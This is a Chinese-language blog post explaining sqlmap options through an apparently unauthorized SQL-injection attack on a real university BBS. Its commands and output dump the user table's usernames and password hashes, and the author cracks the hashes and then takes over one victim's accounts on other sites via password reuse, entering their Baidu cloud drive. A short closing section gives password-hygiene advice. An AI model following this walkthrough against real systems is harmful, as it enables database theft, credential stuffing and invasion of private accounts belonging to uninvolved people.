Sqlmap部分参数说明

  • sqlmap是一个开源的自动化渗透测试工具,被广泛用于发现SQL注入漏洞。sqlmap的使用几乎毫无技术含量。不过,对于一个杀手来说,他使用的刀只需要保证在任何情况下可靠还有一击毙命即可,至于刀上是否有繁复的装饰和是否仿制都是次要的。sqlmap就是注入的利器,可以高效的审计安全风险。

sqlmap的一般用法

我这次试验的平台是在kali Linux上,系统已经集成sqlmap工具。sql注入的目标是上海某高校bbs。
sqlmap的使用非常简单,通常我们使用如下命令就可以获知目标url是否存在被注入的可能:

1
sqlmap -u "url"

知道目标URL后可以用:

1
sqlmap -u "url" --dbs

得到了下面的数据库信息:

1
2
3
4
5
6
available databases [5]:
[*] bbscore
[*] bbscore_db
[*] information_schema
[*] mysql
[*] performance_schema

我们对bbs的注册用户信息感兴趣,所以我们想更进一步的知道bbscore中的信息,我们继续使用下面的命令来查看bbscore中的表:

1
sqlmap -u "url" -D bbscore --tables

得到了下面的表信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Database: bbscore
[83 tables]
+-----------------+
| action |
| user |
| admin |
| admin_memberfee |
| admin_operlog |
| area |
| area_class |
| area_rule |
| art_pool |
| ban |
| banner |
| bbsvars |
……

省略了下面的表信息。 我们注意到表中有字段user,我们想知道user中的字段,使用下面的命令:

1
sqlmap -u "url" -D bbscore -T user --columns

得到下面的信息:

1
2
3
4
5
6
7
8
9
10
11
12
[09:46:22] [INFO] fetching columns for table 'user' in database 'bbscore'
[09:46:22] [INFO] resumed: 30
[09:46:22] [INFO] resumed: id
[09:46:22] [INFO] resumed: int(10) unsigned
[09:46:22] [INFO] resumed: username
[09:46:22] [INFO] resumed: varchar(16)
[09:46:22] [INFO] resumed: passwd
[09:46:22] [INFO] resumed: varchar(32)
[09:46:22] [INFO] resumed: face
[09:46:22] [INFO] resumed: smallint(6)
[09:46:22] [INFO] resumed: sex
[09:46:22] [INFO] resumed: tinyint(4)

太长没有爆完,因为发现了最感兴趣的username和passwd,最后一步我们直接把username和passwd中的信息dump下来:-)

1
sqlmap -u "url" -D bbscore -T user -C username,passwd --dump

附上一张图片吧,这酸爽…… screenshot 通过md5在线破解网站获得明文密码:-)

意外的惊喜

你们以为得到这些用户信息就完了吗,那我就不会用sqlmap引发的血案来做标题。我主要是发现了大家的密码习惯非常之糟糕,下面是正文ˊ_>ˋ
得到了用户名和密码后黑客完全可以以某个用户的身份登入该bbs发表信息,更改密码,你们以为这样就完了吗?Naive,让我来告诉你们糟糕的习惯和淡薄的网咯安全意识是如何让你的个人资料全面泄漏的。
首先在这一堆用户名中我发现了一个很有特色的名字叫tonyxxxxx。(xxxxx是一个单词,被我手动屏蔽,感兴趣的可以看图)原因如下:首先这个名字很独特,不像Jack,Bill这样烂大街;其次这个名字是由tony和xxxxx两个单词组成的,我们可以猜测此用户的英文名为tony,为什么是xxxxx而不是xxxx呢?我猜是因为他曾用tonyxxxx注册过其他的账号发现该昵称已存在,所以使用了tonyxxxxxx这个昵称。根据上面的分析,我们可以获得以下的结论:

  1. 这个用户名少见,不容易和其他单词混淆
  2. 该用户可能在多处使用了相同用户名

下一步就是借助强大的Google查找该用户的踪迹。看截图: 尝试以该用户的用户名及密码登入沪江英语论坛,成功。
发现该用户还用此昵称注册百度账号,尝试以用户名密码登入,成功:-)
登入百度账号可以做什么大家可以随意想象,我是不会告诉你们我进了他的度盘给他留了个言的ˊ_>ˋ

总结

这个可能是本世纪最低级的黑客行为,但不可否认它是有效的。我们通过分析这次渗透找出应对的措施。

  • 该高校校园网存在sql注入漏洞,直接导致大量用户信息泄漏,这是起因。
  • 密码太简单,直接导致在线md5破解很容易查出明文。
  • 多处使用相同用户名和密码,一个账户信息外泄致使所有账户存在安全风险。

如何应对?

  • 使用强密码是行之有效的措施
  • 避免使用固定的用户名和密码,尤其是在一些安全没有保证的小站上
  • 开启两步验证等方式,(手机验证码)

最后的最后,很多人问密码太多记不住咋办?
下面问题来了:如何优雅的管理密码?
给大家分享一个好用的软件passera。 > A simple tool that allows users to have strong unique passwords for each website, without the need to store them either locally or with an online service. It is available as a command-line tool for Linux/Mac/Windows and an Android app.